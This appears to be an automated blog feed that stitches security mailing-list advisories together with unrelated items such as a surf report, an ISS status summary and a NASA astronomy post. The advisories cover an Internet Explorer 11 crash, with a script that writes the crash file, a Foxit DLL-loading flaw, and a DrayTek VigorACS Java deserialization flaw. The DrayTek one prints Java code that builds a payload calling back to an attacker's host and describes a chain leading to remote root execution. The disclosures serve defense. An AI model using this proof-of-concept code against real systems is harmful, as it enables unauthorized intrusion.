zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!NtWaitForMultipleObjects+0x14: 00007ffa`be5f0e14 c3 ret CONTEXT: (.ecxr) rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000 rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000 rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600 r8=0000000000000000 r9=0000000000008000 r10=00007ffabb499398 r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060 r14=0000000000000002 r15=0000000000000001 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!StrCmpICW+0x6: 00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11] ds:00000000`00000000=???? Resetting default scope FAULTING_IP: KERNELBASE!StrCmpICW+6 00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11] EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000000000000 Attempt to read from address 0000000000000000 DEFAULT_BUCKET_ID: NULL_POINTER_READ PROCESS_NAME: iexplore.exe POC video URL: ==============https://ift.tt/2JeIZx3 Exploit/POC: ============ 1) Run below python script to create "IE-Win10-Crasha.html" 2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10 payload=('
\n'+ '
MSIE v11.371.16299 Denial Of Service by hyp3rlinx
\n'+ 'crashy ware shee\n'+ '
\n'+ 'Tested successfully on Windows 10\n'+ '
') file=open("IE-Win10-Crasha.html","w") file.write(payload) file.close() print 'MS InternetExplorer (Win 10) ' print 'Denial Of Service File Created.' print 'hyp3rlinx' Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: April 18, 2018 vendor closes thread : April 19, 2018 April 20, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Source: Gmail -> IFTTT-> Blogger

anonymous henchmen interview

LISA LEMON GETS THE ANONYMOUS HENCHMEN ON THE PHONE!

from Google Alert - anonymous https://ift.tt/2HDXDAF
via IFTTT

ISS Daily Summary Report – 4/19/2018

Miniature Exercise Device (MED-2):  The crew set up cameras in Node 3 to capture video from multiple views of the Advanced Resistive Exercise Device (ARED) and MED-2 hardware.  They applied body markers, performed dead lifts and rowing exercises and then transferred the video for downlink.  The ISS’s exercise equipment is large and bulky, while the … Continue reading "ISS Daily Summary Report – 4/19/2018"

from ISS On-Orbit Status Report https://ift.tt/2vsqCml
via IFTTT

8th St.'s surf is at least 5.36ft high

Maryland-Delaware, April 26, 2018 at 04:00AM

8th St. Summary
At 4:00 AM, surf min of 5.36ft. At 10:00 AM, surf min of 4.46ft. At 4:00 PM, surf min of 3.41ft. At 10:00 PM, surf min of 2.43ft.

Surf maximum: 6.36ft (1.94m)
Surf minimum: 5.36ft (1.63m)
Tide height: 3.22ft (0.98m)
Wind direction: WSW
Wind speed: 11.02 KTS


from Surfline https://ift.tt/1kVmigH
via IFTTT

[FD] Foxit Reader 8.3.1.21155 ( Unsafe DLL Loading Vulnerability )

Author: Ye Yint Min Thu Htut 1. OVERVIEW The Foxit Reader is vulnerable to Insecure DLL Hijacking Vulnerability. Similar terms that describe this vulnerability have been come up with Remote Binary Planting, and Insecure DLL Loading/Injection/Hijacking/Preloading. 2. PRODUCT DESCRIPTION Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files. Foxit Reader is developed by Fremont, California-based Foxit Software Incorporated. Early versions of Foxit Reader were notable for startup performance and small file size. 3. VULNERABILITY DESCRIPTION The Foxit Reader application passes an insufficiently qualified path in loading an external library when a user launch the application Affected Library List

Source: Gmail -> IFTTT-> Blogger

[FD] [CVE-2017-5641] - DrayTek Vigor ACS 2 Java Deserialisation RCE

Hi all, tl;dr DrayTek Vigor ACS server, a remote enterprise management system for DrayTek routers, uses a vulnerable version of the Adobe / Apache Flex Java library that has a deserialisation vulnerability. This can be exploited by an unauthenticated attacker to achieve RCE as root / SYSTEM on all versions until 2.2.2. Full advisory is below, and a copy of it plus the exploit code is in my repo https://ift.tt/2F2oVLO. Thanks to Beyond Security SSD programme for helping me disclose this vulnerability to the vendor. You can find details on their blog at https://ift.tt/2qFTjqa ==== >> DrayTek VigorACS 2 Unsafe Flex AMF Java Object Deserialization >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Disclosure: 18/04/2018 / Last updated: 19/04/2018 >> Background and summary From the vendor's website [1]: "VigorACS 2 is a powerful centralized management software for Vigor Routers and VigorAPs, it is an integrated solution for configuring, monitoring, and maintenance of multiple Vigor devices from a single portal. VigorACS 2 is based on TR-069 standard, which is an application layer protocol that provides the secure communication between the server and CPEs, and allows Network Administrator to manage all the Vigor devices (CPEs) from anywhere on the Internet. VigorACS 2 Central Management is suitable for the enterprise customers with a large scale of DrayTek routers and APs, or the System Integrator who need to provide a real-time service for their customer's DrayTek devices." VigorACS is a Java application that runs on both Windows and Linux. It exposes a number of servlets / endpoints under /ACSServer, which are used for various functions of VigorACS, such as the management of routers and firewalls using the TR-069 protocol [2]. One of the endpoints exposed by VigorACS, at /ACSServer/messabroker/amf, is an Adobe/Apache Flex service that is reachable by the managed routers and firewalls. This advisory shows that VigorACS uses a Flex version is vulnerable to CVE-2017-5641 [3], a vulnerability related to unsafe Java deserialization for Flex AMF objects, which can be abused to achieve unauthenticated remote code execution as root under Linux or SYSTEM under Windows. This vulnerability was disclosed under Beyond Security SecuriTeam Secure Disclosure (SSD) programme, which have provided assistance to the vendor throughout the disclosure process [4]. >> Technical details: Vulnerability: Unsafe Flex AMF Java Object Deserialization CVE-2017-5641 Attack Vector: Remote Constraints: None; exploitable by an unauthenticated attacker Affected versions: confirmed on v2.2.1; earlier versions most likely affected By sending an HTTP POST request with random data to /ACSServer/messagebroker/amf, the server will respond with a 200 OK and binary data that includes: ...Unsupported AMF version XXXXX... While in the server logs, a stack trace will be produced that includes the following: flex.messaging.io.amf.AmfMessageDeserializer.readMessage ... flex.messaging.endpoints.amf.SerializationFilter.invoke ... ... A quick Internet search revealed CVE-2017-5641 [3], which clearly states in its description: "Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not restrict which types were allowed for AMF(X) object deserialization by default. During the deserialization process code is executed that for several known types has undesired side-effects. Other, unknown types may also exhibit such behaviors. One vector in the Java standard library exists that allows an attacker to trigger possibly further exploitable Java deserialization of untrusted data. Other known vectors in third party libraries can be used to trigger remote code execution." Further reading in [5], [6] and [7] led to proof of concept code (Appendix A) that creates a binary payload that can be exploited to achieve remote code execution through unsafe Java deserialization. A fully working exploit has been released with this advisory that works in the following way: a) sends an AMF binary payload to /ACSServer/messagebroker/amf as described in [6] to trigger a Java Remote Method Protocol (JRMP) call back to the attacker b) receives the JRMP connection with ysoserial's JRMP listener [8] c) configures ysoserial to respond with a CommonsCollections5 or CommonsCollections6 payload, as a vulnerable version of Apache Commons 3.1 is in the Java classpath of the server d) executes code as root / SYSTEM The exploit has been tested against the Linux and Windows Vigor ACS 2.2.1, although it requires a ysoserial jar patched for multi argument handling (a separate branch in [8], or alternative a ysoserial patched with CommonsCollections5Chained or CommonsCollections6Chained - see [9]). Appendix A contains the Java code used to generate the AMF payload that will be sent in step a). This code is very similar to the one in [6], and it is highly recommended to read that advisory by Markus Wulftange of Code White for a better understanding of this vulnerability. A copy of the Java source code in Appendix A, together with the actual exploit code and the ysoserial patch needed to enable multi argument handling can be fetched from [10]. >> Fix: Upgrade to DrayTek VigorACS version 2.2.2 as per the vendor instructions [11]. >> Appendix A: === import flex.messaging.io.amf.MessageBody; import flex.messaging.io.amf.ActionMessage; import flex.messaging.io.SerializationContext; import flex.messaging.io.amf.AmfMessageSerializer; import java.io.*; public class ACSFlex { public static void main(String[] args) { Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1])); // serialize object to AMF message try { byte[] amf = new byte[0]; amf = serialize((unicastRef)); DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2])); os.write(amf); System.out.println("Done, payload written to " + args[2]); } catch (IOException e) { e.printStackTrace(); } } public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } } === >> References: [1] https://ift.tt/2F1qWIl [2] https://ift.tt/2HKSsMZ [3] https://ift.tt/2vwN7q8 [4] https://ift.tt/2qFTjqa [5] https://ift.tt/2nXrCHF [6] https://ift.tt/2vxuPVS [7] https://ift.tt/2q7G18y [8] https://ift.tt/1MlRZLw [9] https://ift.tt/2HPzyVy [10] https://ift.tt/2F2oVLO [11] https://ift.tt/2vwN9OM ================ Agile Information Security Limited https://ift.tt/1JewOIU >> Enabling secure digital business >>

Source: Gmail -> IFTTT-> Blogger

Moon in the Hyades


Have you seen the Moon lately? On April 18, its waxing sunlit crescent moved through planet Earth's night across a background of stars in the Hyades. Anchored by bright star Aldebaran, the nearby, V-shaped star cluster and complete lunar orb appear in this telephoto image. The engaging skyview is actually digitally composed from a series of varying exposures. Recorded in 1/60th of a second, the shortest in the series captures the Moon's bright crescent in sharp detail. Longer exposures, ranging up to 15 seconds, capture fainter background stars as well as earthshine, visible to the eye as the earthlit lunar night side. via NASA https://ift.tt/2Hf5SUw

Thursday, April 19, 2018

Over 2 Million Users Installed Malicious Ad Blockers From Chrome Store

If you have installed any of the below-mentioned Ad blocker extension in your Chrome browser, you could have been hacked. A security researcher has spotted five malicious ad blockers extension in the Google Chrome Store that had already been installed by at least 20 million users. Unfortunately, malicious browser extensions are nothing new. They often have access to everything you do online


from The Hacker News https://ift.tt/2HeOSto
via IFTTT

[FD] Seagate Media Server path traversal vulnerability

--------------------------------------------------------------------

Source: Gmail -> IFTTT-> Blogger

[FD] Seagate Media Server stored Cross-Site Scripting vulnerability

--------------------------------------------------------------------

Source: Gmail -> IFTTT-> Blogger